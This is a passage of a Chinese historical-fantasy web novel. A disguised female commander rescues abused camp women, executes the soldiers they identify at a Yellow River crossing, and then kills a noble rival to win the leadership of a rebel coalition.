回到自家军队这边,她就让人从辎重里取出百十套木甲分发给这些带回来的女子,木甲是所有甲胄里防御最到位的,穿起来只露胳膊和一截小腿,在这样的天气也算不得什么了。 有不少女子只是套上了木甲,就忍不住鼻子一酸哭出声来,甲胄比衣物值钱,但她们哭不是因为穿上了值钱的甲胄,而是一种“人被当成人对待”的感受。在遭遇极大的羞辱和打击时,大部分都会选择放空自己,物化自身,封闭情感来面对非人的折磨,穿上甲胄意味着从物回归到人的身份,那些物化时遭受的委屈会变成泪水宣泄出来其实是好事。 能哭说明足够坚强,太多的人哭完抹抹脸就撑过去了,比较危险的是眼神持续放空,或者情绪看起来很不稳,还有一直闷不吭声低着头的那些,林一叮嘱让她们远离河边,就地组织了一个五百人的小队去烧水熬粥,给她们弄点东西吃。 田县尉之前挺热情的,见到林一这边上去和马彦沟通了一会儿就带着那些女娃娃回来了,态度一下子就变得不冷不热,林一过来的时候,他从鼻子里狠狠出了一口气我,只是勉强还客套道:“王公子……” 林一不跟他客套,拍了拍他的肩膀,“东郡和你陈留的口音接近吧?老田,你给我挑一些个性格好的小伙子去开导那些女娃,我这里的士卒说话她们可能听不明白,老田你挑仔细些,要性格好的,不能口花花或者和人吵架的,然后军师会教他们怎么开导。” 田县尉愣了一下,黑黝黝的脸上露出了有些费解的神情,他索性都不绕关子了,直接问道:“姑娘家好劝,肯跟着走就是不想死。可要是还叫她们干营妓的勾当,任你说破大天去,明儿个照样寻死觅活。营妓有几个长命的?公子到底咋打算?” 林一想了想,很老实地说:“没想好咋个办,反正不可能继续做营妓,现在不是在老家,她们也回不了东郡去,先带着吧。” 田县尉狠狠松了一口气,然后咧开嘴笑,“那准能劝住!最难的坎儿都熬过来了,好日子在前头,谁还想死?又不是大户人家的小姐,俺这就找几个体面端正的后生去!” 胡秀捧着一碗腊肉粥,她本来没想喝,但是被人送到手边上只能接住,一旦端起来了,那种腊肉和稻米熬出来的香气就直往鼻子里钻。也许是看她脸上都有巴掌印,看起来很可怜,她的粥是捞了底的,一大勺的腊肉丁混着白米粒,只有一小层的粥汤浮在上面,她梗着脖子硬是没喝,却听见四周围都有吸溜声。 一群没脸没皮没骨气的东西!胡秀气得咬住腮帮子,她这几天一直憋着一口劲,每天想着怎么报复,怎么杀人,还想到上船的时候跟几个男人走,然后弄翻了船一起死了拉倒,没想到什么计划都没来得及实施,就被转了手。 她如今身上的木甲直接贴着肉,有些暖热,木甲是用绳穿了一层层小甲片制作的,主要防箭矢和劈砍,很厚重。胡秀脑子又开始想杀人的事了,披着这样的木甲,她可能上去砍好几个人都不会死,马彦的军队甲胄都是从胸口开始防,可以直接近身砍脖子……恐怕没那么大力气。 就在这时,一群黑黝黝的后生被田县尉带着走过来,胡秀心中冷寒,面上冷笑,冷眼看这些男人走过来,把手里的衣物、衣物各自塞给她们? 她这边也站了两个黑红脸膛的少年,其中一个拿着条打了三五个补丁的裤子,见她手里捧着碗,一个少年犹犹豫豫地用乡音说道:“婶儿,恁赶紧喝,喝完穿俺哥这裤子。俺、俺就多带这一条,恁要是不嫌脏,俺身上这褂子也给恁,俺娘做的,没穿几天,新的。” 那个做哥哥的少年明显有些不乐意,还拉了弟弟一把。 个败家玩意儿,裤子是换洗用的,打过补丁的,恁这褂子是新的,新三年旧三年缝缝补补还三年哪,这衣裳穿了有十天没得? 胡秀梗着脖子不搭理,其实要不是真舍不得手里这碗腊肉粥,她都想把这碗连粥扔了,还有咋叫她婶儿?她还没许过婆家,也比这俩愣头青大不了几岁,怎么就叫上婶儿了? 这是崔殊教的话术之一,差开辈分,要是年纪小,就直接叫娃娃,把自己端在叔伯辈分,年纪长些就叫姑啊婶儿的,开导这些受过男人虐待的女娃,绝对不要哥哥妹妹地喊,人家心里恨着呢,胡秀长得漂亮,年纪也不算很小,两个小黄县的少年兵犹犹豫豫的,*年纪差不多大的话,喊人家娃娃就显得过于刻意了,叫婶儿吧,尊重着些。 接下来口才好些的弟弟就把崔殊的话术拿出来说,一会儿说看婶儿你面善,俺想娘了,一会儿说咱们军中不兴那事,平头百姓哪讲这些……反正崔殊把人心里头那点事琢磨得可明白了,不少人那边都给开解哭了,能哭出来是好事,说明委屈了,劝劝哄哄就能过了坎儿。 到晚上的时候,林一这边总共渡河五千人,剩下的人守着辎重,轮班值夜。那边马彦在车驾上睡的,临睡之前还让下属过来邀请林一喝酒,林一没搭理,她不跟死人废那么多话的。 胡秀还是喝了那碗腊肉粥,喝的时候已经有些凉了,不过天气热,喝凉的正好,那对兄弟竟然也没走,就守在她周围,胡秀有些警惕他们,虽然一口一个婶儿叫着,可毕竟是半大小子,应该知晓些人事了,入夜不走守着她,任谁都会警惕的。 但她实在是太困倦了,迷迷糊糊还是闭上了眼睛,临到下半夜的时候,胡秀是被呼喝之声惊醒的。一醒来就看到十几个结伴过来的流民正在满嘴污言秽语地被驱赶离开,她身边的两个少年都持棍过去了,两人配合默契一个打头一个打裆,把一个壮实流民打得吱哇乱叫。 这些人被赶跑之后,两个少年又回到她身边,弟弟咧开嘴巴邀功,“婶儿,恁安心睡,俺俩守着哩!” 这对少年……长得怪丑嘞,乌黑皮肤小眼睛大嘴巴,笑起来像田里咕咕呱呱的那些东西。 胡秀嘴里嘟囔了一句什么,还是合上了沉重的眼皮,是因为困倦吗?还是这么多天以来,难得的一场安心梦呢?如果是梦,就让她死在梦里吧。 隔日又花费了一整天的时间渡河,公孙启几乎把所有的船只都调给林一使用了,林一还是一副少爷脾气治不好的样子,终于到傍晚的时候,八千八百多兵员连带辎重战马全都过了河,林一远远地看那边船只返回渡口,黑了两天的脸顿时神清气爽起来。 林一用工兵铲铲了几下岸边的泥土,有些失望,这边土质不是很符合她的期待,没办法挖些埋伏的壕沟。 是的,工兵铲,林一把这项技术也带到了燕齐之地,这次的八千士卒人手一把工兵铲,这玩意儿辎重里可没有多的,属于老兵独有,主要也是不好携带更多了。林一用兵很少携带大量辎重,她习惯了打闪电战和以战养战了,这次主要是配合一下会盟诸侯们的整体水平。 过了黄河是一片宽阔平坦的滩涂和沙洲,有堤坝和芦苇丛,但总体上并不适合埋伏,林一在附近转了一大圈,只能放弃了埋伏。田县尉拿不准林一夜里走来走去又到处找军官密谈是干啥的,他也没去管,然后到了天亮的时候,他晓得了。 天色微亮,林一的大军就坐在滩涂地上,一边正常烧火做饭,一边等对面船只运输马彦的兵员过来。两天的渡河经验让她知道,船只不是一批一批地运人,而是单船一趟三四十人那么运,具体是按船只个体速度来的,所以不会出现一批船运来千把人的情况,而是几艘船靠上岸,最多二三百人同时到岸。 隔着接近十多里的汛期黄河宽度,林一这边开始有效地接收马彦的士卒,这趟来了二百多人,拿下,这边又来几艘船,拿下,而回去的可就不是渡口的船夫了,而是林一军中的胶东水贼和广陵水匪,划船的本事还要更好哩! 马彦等到自己这边的人都快渡河完成了,这才矜持地在公孙启一声声的恭维中,上了最大的渡船,连带他的车驾和马匹一起,渡河到过半的时候,他忽然感觉不大对劲,黄河对岸那边……聚集的人是否过多了?渡口这边人多是因为等着过河,你对岸人怎么还那么多? 河对岸,吃过晚饭的林一一只手搭在呼兰霍兰肩膀上,另外一只手握着一把大砍刀,咧嘴正相候。 第163章 这会儿是傍晚,天色还没黑,视野也挺好。 船没靠岸马彦就大概知道怎么回事了,他出东郡时父亲也曾叮嘱过,四千兵马说多不多,说少也不少,记着不要和大军同路,不要收拢过多流民,以防被黑吃黑。 他这一路都很小心的,虽然有心和林一结交,但也没提出要一起走就是因为这个。不过他看林一的兵太壮了,人数也太多了,一看就是世族精锐,本是放下了些心的,谁能想到都是去奉天讨逆的队伍,这狗东西收了他的营妓美姬,还黑心地要吃掉他的兵马! 有心想折返回去,这渡船上好歹还有几十号人,回到延津渡口马上折返回东郡,这些人手够保护他的了,但不管马彦怎么呼喝喊叫,这趟的船手却都只是笑,为首的胶东水匪哈哈笑着,“这是老大不在边上,俺可跟你讲,在胶东那块儿,哪有本地人敢上俺们的船过河,心情好了叫你过,哥哥们心情不好,便在河心请你吃水包肉!扒光你的衣裳,还要你自己收拾好细软,再一脚踹你下河!水性好还能逃过命去嘞!” 两个小喽啰一左一右连忙捂着他的嘴巴,俺爹哎!大锅千叮咛万嘱咐,让看好了你,万一吹牛逼被林老大当成真的,你也得下去水包肉! 不管马彦的人手如何挣扎,在船上都弄不过水匪出身的胶东军,还被打下水好几个,大船靠岸后,林一眼神好记性也好,记得马彦身边一个交接妇人时拍过人家屁股的,嘎嘎叫着上去就是一刀砍掉手,血滋啦滋啦溅在马彦的脸上,林一才收刀,一回头看到马彦吓晕过去了,不由啧了一声。 呼兰霍兰问道:“都杀了吗?” 林一想了想,摇摇头,“先把马彦杀了,剩下的通知那些妇女过来认人,把欺负人的都杀了,这世道欺负过一回就有 第二回,不叫他们再害人了,剩下的……要是有剩下的,就也带着,不发兵器甲胄先带着。” 呼兰霍兰从不质疑林一的想法,很快就去办了,他魏语说得熟练,不存在语言隔阂,自然也准确无误地传达了林一的命令。 那边妇人们其实一直都藏在河边的芦苇丛里,这会儿天色有些晚,埋伏完了人,有不少士卒又烧起火来,有的是为烧点开水,有的则为了让伍里有点亮光,总之还是挺亮堂。胡秀混在人群里被叫到俘虏那边去,她迷茫又有些紧张,不知道叫她们过来是干啥的,好在小黄村的那两兄弟还没走,她跟在两人后面心里有些安定,然后就听见金玉兰的大粗嗓子在嚷着啥。 金玉兰的西北口音还是偏重,不过田县尉那边有能听懂的,马上也嚷起来,“女娃娃们!公子给你们做主,这些王八蛋里头,有欺负过你们的,指出来,马上拉走砍脑袋!公子心善,你们也莫亏心,没欺负过的,没动手的,就饶他们一条王八命,现在说一下规矩,一人指定两人作证,咱们也叫个三堂会审!” 胡秀马上就颤抖起来,一个少年郎紧张地问:“婶儿,咋的怕了?恁别不敢指认啊,瞅那边,马彦的人头立在旗杆上哩,俺们这位王公子兵多敢干,他不怕啥,恁也别怕,该谁是谁。” 胡秀可不怕,其他妇女还左顾右盼犹犹豫豫的时候,她第一个冲出去,在俘虏里来回看去,有不少人都被她看得低下头,她一把抓住一个人的头发,望向林一那边,“他!他!公子,这个人欺负过我,我没个人证,我跟她们不熟,可是我敢跟他对峙!” 林一点点头,“我想差了些,你们不是一批抓来的,应该也不会替别人记着脸,没事,尽管辨认,我分得出真假。” 被胡秀抓着头发的是个中年士卒,他慌张得很,听了这话急忙辩解道:“贵人不要听信这贱妇的话,她是犯妇出身,杀了自家男人进的大牢,这种犯妇嘴里没一句实话……” 林一走近几步,胡秀气得咬牙切齿,死死抓着这人的头发,尖声叫嚷:“我没有!我没有杀德生!是他们污了我,撵着我到家里,杀了我男人,抓了我去,他们有十几个人,说是临回兵营前要好好爽一把,一次是在山里,然后是我家里头,我要是杀过人,就叫我不得好死!” 那男人还要辩解,被胡秀抓得头发生疼,脸上不自觉露出凶相,林一的目光在两人之间徘徊了一下子。崔殊正要上前,他只凭借这两三句对峙就找出了几个证据,准备开口时就看到林一让胡秀放开手,胡秀浑身颤抖,还是慢慢松开了手。然后林一上去一记窝心脚,把那男人给踢死了。 崔殊:……行吧。 胡秀也吓了一跳,林一这一脚力气很大,俘虏们是在距离黄河有一段距离的沙土地上被反捆着手脚一窝窝放着的,林一这一脚直接把人踢得离地,又滚了几圈,头浸在黄河水里了,这力气得有多大啊? 林一给胡秀拍了拍膝盖上沾的沙土,压着嗓子努力柔和一些,指着俘虏们说:“继续,继续把人都指认出来,别怕,别瞎指就行,杀过人的眼神不一样,你没有杀过人,俺晓得你不是犯妇。” 胡秀长长地呼出一口气,目光在俘虏们中间来回看,很快指出了第二第三个,到第十个的时候她有些沮丧,哽咽着道:“俺只记得这么多了,明明憋着一口气想记着他们的脸的,记不住了……” 林一一个个听着这些人的辩解,什么没动过手,什么我只是跟着去的,什么那天喝多了,还有个人挺机灵,说干那事的是他哥,兄弟俩长得像而已,林一都没去动这个手,呼兰霍兰举起长刀,比宰羊都利落,一刀一个脑袋,连杀九个都不带喘气的。 这血淋淋的场面没想着避开任何人,有的小姑娘不敢看,心里还良善,却是熄了指认的心思,感觉这人命也算在了自己头上一半,但也有不少像胡秀这样看得心头热乎,冲出来指认了人的,俘虏这边有哀求的,也有咒骂的,还有的提起自家妻女老母,到了这会儿才想起来自己是个人的,总之很吵闹。 接下来林一点了十来个老手去做刽子手,本来没有点金玉兰,但这位屠户出身的大娘因为自家有个小娇女,最是看不得这个,她主动出来帮着处刑,厚背的大砍刀都砍出了卷刃,一直忙活到夜里,一数数,好嘛,这伙东郡世族兵原本有个四千多人,一溜砍完只剩下一千五百多。 就这剩下来的人还不是完全干净,有个小少年就被两个妇人指认摸过她们,但是两人也很老实,只说被摸了两把,还给他讲了情。林一也觉得摸两把就砍了脑袋有些过头了,商议了一下改判为棍刑,拿棍子痛打了二十下。 转过天上路,军中的气氛那是完全不一样了,林一根据王澈之前的叮嘱,熬了个大夜在远离黄河的林地里挖了深坑,把尸体先烧后埋,从死人身上扒拉下来的衣裳给妇人们穿了百十套,剩下的洗干净归纳入辎重车里。 而马彦的这批军士装备虽然不如林一的精良,但最差也是有护胸甲片和皮子的,拿这些装备来收拢新兵绝对差不了,也是一项大收入了,到快天亮时大军休整了两个多时辰,这才重新踏上路途。 小黄县的乡兵也分得了一批装备,尤其是鞋啊,好多人穿的都是木屐或者草鞋,换上好鞋子走路就跟飘一样,田县尉骑在马上距离林一稍微远了些,跟他二伯和丈人正咬耳朵。 “二伯啊,吕翁,俺觉着王公子好像、好像忘记俺们不是他的队伍哩!咋还给俺们也分上东西了?” 田二伯恨铁不成钢,“你是榆木脑袋啊?人家那是有心收拢你!还忘记咱不是他的队伍,你忘记个八百人试试看?” 吕翁也感叹呢,“英雄豪杰,英雄豪杰啊!人这辈子能跟对一个好大哥,那是要发达了,就是人也太风流了些,我瞅着人真是好样的,不怪那些女娃娃爱死爱活的,主要俺是舍不得妮儿去受苦啊,不然好歹也能……” 这几天吕翁自从听说了林一丰富的感情经历,就没少感叹他家幼女生得晚了,至于林一看不上自家妮儿?不可能!绝对不可能!在老人家眼里,自家小妮儿就跟个妲己那模样差不多。 就是田县尉心里有些打鼓,他这还没走到奉天讨逆的会盟现场呢,这就、这就跟上大哥了? 崔殊问林一道:“主君,马彦那人头就一直竖在旗杆上?过河就到河内郡了,走不了两天,被人看见,是不是显得有些残暴了?” 林一回头望了望旗杆上的人头,马彦死得很不瞑目,眼睛直突突地目视前方,她瞅了几眼,“挂着吧,要是有人问,就原原本本地说,俺也想瞅瞅这些会盟的诸侯有没有人出来给他喊冤的。” 至于她只有八千八百人?没事!精兵,这些都是精兵,懂不懂乱世里头精兵的含金量啊! 第164章 一入河内郡,四处都是赶来会盟的队伍,人数初步预计有个二三十万,林一都有些懵,她都没带过这么多军队,也不知道如今她的地盘军队人数加起来有没有这么多,不过仔细看过之后就无奈了。 最多的是手里一把木锄头的光膀子流民,得占个一大半,其次是些小世族的部曲家兵,配备了兵器但甲胄只有将领才混得上。大世族的精兵数目最少,约莫有五六万,归属不同的世族,兵甲俱备,像林一这样军容整肃的更是少。 林一带着大军抵达会盟的核心地带时,各家都派人来相请,最后争执不下,约好次日直接在大营聚会一场。 傍晚林一就在核心地带建起营房来,大部分军队都不建这个,因为好多人都说等再聚集一些人就要出发,借道上党去攻常山郡,讨伐祸国妖女去了,所以好多人来了有个把月还是席地而睡的。 营房建了个大致样子就暂时停工,大家拿出了草席,没有草席的路上也揪草现编了一条,农家人很少不会编草席,只是费时费事而已。行军路上无聊,甚至有人无偿给编草席,不图别的,图点人缘儿,战场上这是能救命的玩意儿。 林一也睡在草席上,他们占的是一条河的中游,这里蚊虫少些,隔岸有不少人观察着这条新来的过江龙,看到林一和士卒同吃同睡,感觉大致猜到了这位的来历,必定是将门子弟。 毕竟大家聚在一起的时间也久了,那些世族将主的做派也都清楚,不说什么美人帐下犹歌舞吧,至少也是先享受自己的,再从手指缝隙里漏点给手下人。像这位如果是世族高门子弟的话,他应该先建将军营帐,再令士卒建营房,甚至都不会停工休息,最多第二天赏赐些好菜好饭,而干重活本身就是要吃饱喝足才有力气的。 次日天明,主帐之中四门大开,有杨韩卢张四家世族将主在列,右侧则是五六个一看就出身草莽的壮士,另有两家将门子弟中间空出了座位,特意等着林一来。 林一来的时候啥也没带,包括随行人员,正如崔殊自己说的,他在世族里名气还不小,而且不像王澈是年少时以姿容闻名,他的名气很烂,就不带他了。 座位摆放是比较用心的,没有分上下位次,而是一个围拢的圆席,桌上也没有摆大席,都是些寻常菜式,有一条手臂那么长的清蒸大鱼放在主菜位置上,鱼嘴对着留出来的空位,这是很尊重林一的意思。 随行人员是不坐席的,都在自家主君旁边候立,林一没带人来,一进大帐就看了看,然后很自然地拨开一个将门子弟让他往边上去去,强行夹坐在了一个胸肌非常浮夸的壮士边上,壮士们都是一愣,这唇红齿白的俏郎君一看就不是匪帮出身,咋往他们这边坐? 一个世族将主正要开口,也是个显示地位的样子,不料林一一落座就开口道:“承蒙诸位看重,让在下受宠若惊,来,都在酒里了,先干三杯!” 她举起酒盏就一口喝干,然后倒满,再喝干,再倒满,最后一杯的时候直接站起来了,很痛快地道:“诸位远来会盟,想是如今还没有个领头的,在下有意相争,喝完这杯,我们谈谈这次会盟的细节如何?” 众人又都是愣,想说些什么,林一那边又喝干了第三杯酒,坐了回去,张口就道:“恕我直言,盟军在此等候四方来人是死路一条,二三十万人聚在一起空耗粮草,没等赶到妖女地盘上,自己人先饿上肚子了,到时候不管是世族兵还是平民军,都要变成打家劫舍的匪徒,这么多人聚在一处,比朱大方祸害更大,我这么说,有没有问题?” 杨姓将主名叫杨曲,年约三十,眉头皱起,斥道:“少年人性子如何这样急躁?妖女势大,不聚拢更多的人如何去攻?至于粮草自有来路,你怎的一来就要危言耸听?” 有个头发乱糟糟的壮士却不满地道:“那是恁世族有门路,河东河内都能借点粮,俺们是真没粮草了,就等着大军上路朝廷拨点儿呢,大一天小一天的这么熬着,俺的弟兄们野菜都难挖着了,俺看这小兄弟才是明事理的人。” 林一按了按手,“都别吵,人多了人心难聚,现在来盘一盘思路:盟军出征,朝廷会发一些出征粮,保证我们能走到常山郡,很多弟兄等着领这份粮,而世族这边想聚拢更多的人再上路,这是不矛盾的。像我刚来的路上宰了一个东郡来的,如果盟军直接上路,东边的军队其实不需要渡河远来河内郡,我们路上直接接收人手。所谓得道多助失道寡助,奉天讨逆这样的大事,盟军过境,收拢一些乡勇和大小世族的部曲完全没有问题,等到常山郡,我们这边的兵员数目会越来越多,是不是这样?” 没人管她宰了谁,大家路上都没少宰人,重点是她的话。 此时已经有世族身边的谋臣想要开口了,林一脸色一肃,拧着眉说道:“可是聚拢大军就一定是好事吗?现在二三十万人还不够,要聚拢多少?四十万、五十万?还是要凑个百万大军去攻?真觉得人数堆上去了就能赢?朝廷出得起那么多粮草,有那么多人手来运,路途上不用消耗是吧?到时候怎么办?纵兵抢粮?被打败了怎么办?百万溃兵冲垮东南燕北那些地儿也算赢?” 坐在林一旁边的,胸肌十分浮夸的壮士眼睛一瞪,拍桌而起,“娘的,老子就晓得有哪里不对劲,你们这些世族的龟儿,是不是压根不敢去?一天天的凑人凑人凑人,凑到现在几十万了还不敢去!倒是敢朝老子瞪眼睛!王兄弟,你说得对,不能再这样等下去了,老子支持由你来当这个盟主,月底就出发!” 杨曲急道:“什么时候盟军要有个盟主?又不是江东那一盘散沙,我不同意!” 两家世族将主也皱眉,“这位公子甚至都没有通名,报个来历,岂有一来就将几十万大军交托在他手的道理。” 林一吃了两块鱼,又喝了几口酒,放下筷子,摆了摆手说道:“俺不要啥盟主之位,俺是为讨逆大事着想,这样,你们愿意等也成,俺把想走的先带走,作为先锋军离开咋样?朝廷答应的粮草也发给俺们一批,到时候几位想等多久等多久,等我们打完再来论功行赏!” 她这话没啥心机,就纯挑拨,拿这个挑拨世族是玩笑,但草莽出身的壮士首领们却都虎视眈眈朝他们看过来,是啊,之前他们咋没有想到呢? 是啊,等先锋这边辛辛苦苦打完仗,朝廷要论功行赏了,这帮瓜怂跳出来了,世族官帮世族人,他们毛都捞不着还可能送命……想想火气就上来了。 这顿迎新宴反正吃得气氛很不好,杨曲本来还精心准备了美姬歌舞表演的,气得也没让人上来,也多亏了他没叫人上歌舞,林一吃得很饱,吃完就和一群壮士首领勾肩搭背邀他们去自己的营房里转转了。 林一这边营房建得还蛮大的,士卒们干得热火朝天,那位胸肌浮夸的壮士首领席间已经和林一通过名,他叫许开荒,出生的时候全家都在山里开荒,所以取了这个名字,他长到三十岁还不会写开荒两字呢。 前年天下大乱的时候,他也拉了一帮兄弟起来打劫大户,被世族撵进了山里,他和他的兄弟们都遭到了世族的血腥报复,但凡有没能及时跟着逃走的家眷都被斩首示众,许开荒失去了爹娘和妻儿,一家八口只剩下他一个。 今年朝廷招人讨逆,他县里的世族大户都赶着去谋一份功业,世族私兵一走,许开荒马上从山里下来,啸聚起了二三千人,把县里大户世族都洗劫干净,然后去追杀离开的世族部曲。没想到在追赶的途中不停有人加入,不停有人加入……等到河内郡这边的时候,许开荒不仅为父母报了仇,灭了那支县里世族的军队,还成了三万多流民军的首领。 许开荒没少认为自己是天生的带兵奇才,进了林一的营房之后,他瞅瞅这些干活干得热火朝天的精锐士卒,想想自己那帮吃饱肚子就闲在田埂边上抠脚剔牙的老兄弟,不由沉默。 没法比,索性不去想,许开荒在这些草莽首领里算一号大哥,他揽着林一的肩膀直拍她胸脯,“王兄弟,我平生最恨世族,但你不一样,你是真的晓事人,我许开荒服气你,听闻那妖女打仗的本事很厉害,我个人晓得个人,让我去打指定是不成,所以王兄弟,老哥认你这个盟主,愿意跟着你去干。” 他咣咣地拍,拍得自己手疼,略微皱眉,觉得林一肯定是里面穿了甲,不然这胸肌怎么如此强健? 许开荒借着拍胸脯的空当,还鬼鬼祟祟地又用另一只手重重拍了一下林一的腹部,腹肌也很硬!这王兄弟练得也太好了吧?个高也就罢了,还这样壮! 第165章 崔殊早就在营房里等着呢,他没有第一时间上前就是要观察一下林一带回来的几个草莽首领,甚至不需要通名介绍,他就能分辨得出来谁对谁。 两个屠户出身,这是肯定的,乱世里头敢拿刀干的往往就是屠户,这是平民里的强势阶层,手底下血见多了,就绝不可能是软性子,朱大方就是屠户,他也给各地的屠户带起了一个榜样,但是出身决定眼界,这两个屠户在自己的家乡可能一呼百应,来到会盟地之后却收敛了性格和脾气,因为横的遇到亡命徒就会怂。 三个匪帮出身,这也是必然的,匪帮本身有一个框架在,林一在胶东就是先拿了土匪窝子下来,以匪转军才有的基本盘,像一簇火苗,添油加柴就能烧得更旺。 然后就是许开荒,他是明面上的大哥,带来的人最多,拢共二三十万人,他带了足足三万人来会盟,四家大世族才带来不足五六万人。这支盟军的成分很复杂也很松散,多的是几百人的小首领,占了数额的大头,在刚才宴上都没能和大首领们坐一桌。对许开荒这个人,崔殊费心多观察了一会儿,然后才笑着整肃衣冠走了出来。 林一给许开荒介绍道:“许老哥,这是我的军师崔先生,他在世族里的名声不大好,所以一直没有露面。” 崔殊露出一个云淡风轻的笑容,如果不是两撇小胡子,他看起来应该更加忧国忧民一些,和许开荒还有几位草莽首领见了礼,温文尔雅地解释道:“世族……唉!世族,但凡叫他们多让平民几分利,就如杀他们父母一般……我的名声在外,多与此有关,也不怎么敢露面,叫诸位见笑了。” 他这话里的意思还是比较明白的,除了有个屠户是真没听明白,和口音有关系,这屠户是巴蜀来的,连官话都听不明白呢。 许开荒却是对崔殊多了几分敬重,也回礼道:“我是知晓的,那帮子世族,谁动他们的利就污蔑谁,在世族中名声不好,在我这里不是事情,王兄弟,你这位先生请得值当。” 林一和崔殊对视了一眼,崔殊会意,请了众人进里间坐,其实也就是帘子和木架搭起来的内帐,在里面摆了些草席,比刚才宴请林一的地方寒酸了不知多少倍,但草莽首领们都舒了一口气,跟着林一在草席上坐下,有的是跪坐,有的是踞坐,还有的直接一屁股坐下,哪个姿势舒服就哪个姿势坐。 许开荒两条毛腿一伸,坐在草席上还往外伸出一只脚,挠了挠胸口,衣裳扯开里面是一巴掌的护心毛,他也不在意,对林一说道:“出来得久了,也喝过世族几桶猫尿,要我说还是这草席子舒坦!王兄弟,看你是个明白人,我带来的都是贴心贴肉的真兄弟,没人腿骨子是软的,你有话说就直接点。” 林一也没有跪坐,她是一条腿垫在屁股底下的姿势,伸手拍了拍崔殊,“俺不多说,许老哥,你这趟出来,是为了点啥?奉天讨逆,然后得官来做,还是混点朝廷的粮食养活底下几万张嘴巴?” 几个草莽首领都笑了起来,一个匪帮出身的青年人咧嘴笑说:“还能为啥?许老哥为啥我是不晓得,但是咱哥几个嘛,可不是和那些泥腿子一样光晓得抢钱抢粮抢女人,我们想弄一块地盘,也做个封疆王侯,往后子子孙孙都过上好日子!” 他这话一出,其他人顿时附和起来,林一斜着眼睛看了他们一眼,还是看向许开荒。 这壮士挠着胸口似乎还有些痒痒,又往下挠了挠腹部,沉思状许久,才慢慢地说:“我也不晓得……最开始是几个猪儿娃要闹反,我去是想管事情,结果被带下水了,杀了人,后来就有几千人跟着我,然后路上也没捡多少就到现在这样了。我个人是没有那个脑子的,我每天眼睛一睁开就是几万张嘴巴,愁得很,可是把他们散出去,或者交托在世族那边,我晓得他们活不成,只能撑着,就是个撑着。” 其他首领们都愣了愣,他们最多的不过带七千人,还真没人想过许开荒这老大哥带着三万多张嘴巴是怎么过活的,也实在怪不得许开荒只是听林一提出了粮草问题就这样信服她,实在是一口粮难倒英雄汉。他现在还守着底线,没有纵兵抢掠,否则三万大军凑在一处,愁的人可不是他啊。 崔殊很关心地问道:“如今许首领库里还有几多存粮,能支撑多久呢?” 许开荒就是摇头,不是保密,而是说出去了,漏了风,手底下的人马上就要乱,从半个月前开始,他就已经厚着脸皮学着世族做派去河内郡各家大户做客,然后半是无奈半是威胁地借些粮食了。 崔殊还没来得及给林一使眼色,就看到她站起来了,大步走到许开荒面前,双手重重拍在他的肩膀上,一双流光溢彩的鸟瞳紧紧盯着他,大声地说:“好!现在俺们都开诚布公地谈了,许老哥,几位,俺们谁都不是为了上战场送命来的。这样,恁都听俺的,下一步向朝廷要粮食,如果不给,接下来陈兵洛都!重要的是要来粮食先把肚子填饱,然后去常山,俺在那边有人,不会打起来,带着咱的兄弟过去,不杀人不放火,养活这些人,好不好?” 她这话说得比较清晰,那个巴蜀来的屠户一下子激动起来,“要得!要得!老子愿意!老实说老子这堂也莫得粮食咯,之前杨曲那个龟儿子跑来找到我,还想收编老子的人,老*子啷个不晓得这个狗日的想拉老子的人去当炮灰嘛!为口饭把命除脱?老子才不得干这种憨批事!” 许开荒就沉稳许多,“王兄弟,这事我不是没有想过,而是朝廷那边只和世族的人来往,之前还督促我们立一个盟主,是兄弟们都闹起来才没成,想从朝廷那里弄到粮食恐怕很不容易,兄弟你是世族公子,更好说话,可是我这里……我们也怕你是世族那边派来,专为做个盟主之位,还叫我们兄弟去充先锋掉人头。” 这属实是交浅言深了,连几个草莽首领最深的忧虑都直接说了出来。 林一想了想,很诚恳地道:“这也没法证明什么,俺确实想做这个盟主。几位兄弟,不如学学匪帮的规矩,俺来立一个投名状,恁都来了也有一些天了,最看不惯哪个世族将主,俺就出门去现杀了拎着人头回来,以此为盟,来日俺要是站在朝廷和世族那边,恁都捏着俺杀人的把柄,如何?” 几人面面相觑,许开荒想要制止,但是想到自家那三万多张嘴巴,还是把话咽了回去,其他首领已经在热火朝天地商议宰掉谁了。 其实杨曲还行,他是弘农郡那边的大世族来人,这趟世族里地位最高的就是他,据说是那个大世族的族长的孙子,这孙子可不是啥好东西,来了就想当盟主,到处挑拨到处生事,还常令歌舞姬在他们面前表演,好像他们这些草莽首领一辈子没见过女人似的,最开始的时候拿两个舞姬就想收买巴蜀的那个屠户首领。 屠户首领姓张,叫张小刀,提到这事还气得直蹦跶,“老子跟他龟儿子讲得清清楚楚,老子有婆娘!我屋头这个婆娘除了脾气凶点,哪点儿不好嘛?狗日的硬是要塞两个婆娘给我!当时我婆娘还在帐子头喂娃儿奶,他整这一出,不是逼老子去跳河嗦?” 林一很关心他:“属实是过分!不过这事也不是你的错,你婆娘应该不能打你吧?” 张小刀又气又急:“当时老子把好话歹话都说尽了,龟儿子喊我把婆娘休了,老子当时就想一泡稀屎糊他狗日脸上!最后人都没要,结果回去让我婆娘听到风声,把老子打得惊叫唤,这哈儿安逸了嘛?摆明就是挖坑给老子跳!那些世族老爷,心肠都是粪池头泡出来的,没得一个好东西!” 众人都是比较同情的,林一也很同情,还公正地判了一下,“你婆娘不应该打你,这事全怪杨曲,好了,要是没有其他人选的话,俺即刻就要去杀杨曲了。” 她的身板就算在这些草莽首领里都算伟岸的,而且身上血气不少,众人不怀疑林一能不能杀了杨曲,只是有些担心动静会不会闹大,纷纷目送着林一出门。 不到一刻钟工夫,外头还风平浪静,林一就回来了,手里提着个小包裹,包裹三层,林一还专门清洗了一下人头下端,所以没有滴血一路,她把包裹在草席中央展开,赫然是杨曲死不瞑目的人头。 众人都倒吸一口凉气,林一环顾一圈,咧嘴笑道:“诸位,明天白天召集首领,共推俺为盟主,俺们去弄朝廷一笔粮食,带大伙去常山!” 许开荒第一个起身,没有学世族礼节,而是非常郑重地一个抱拳。 第166章 杨曲被杀当然不是因为他性格比较贱,林一也是做过调研的,此人不光在草莽军中名声极差,连世族都只是碍于弘农杨氏的颜面和他虚与委蛇。 第二天杨曲的死传到众人耳朵里的时候,包括忠心耿耿的杨氏家将部曲,大家都很难过,韩将主韩和、卢氏公子卢宜和张姓将主张询都难过地捂住嘴巴来了一段古法B-box。 会盟地条件艰苦,各家世族帐子里乐器都不多,只能这样给杨曲送送行,实在是感天动地的战友情。 当然是没有什么追悼会的,头都找不见,回老家还得用好木头雕一个或者陶瓷烧制个脑袋下葬呢,今日各家首领聚在一起,主要是想商议一下,至于商议什么别管。 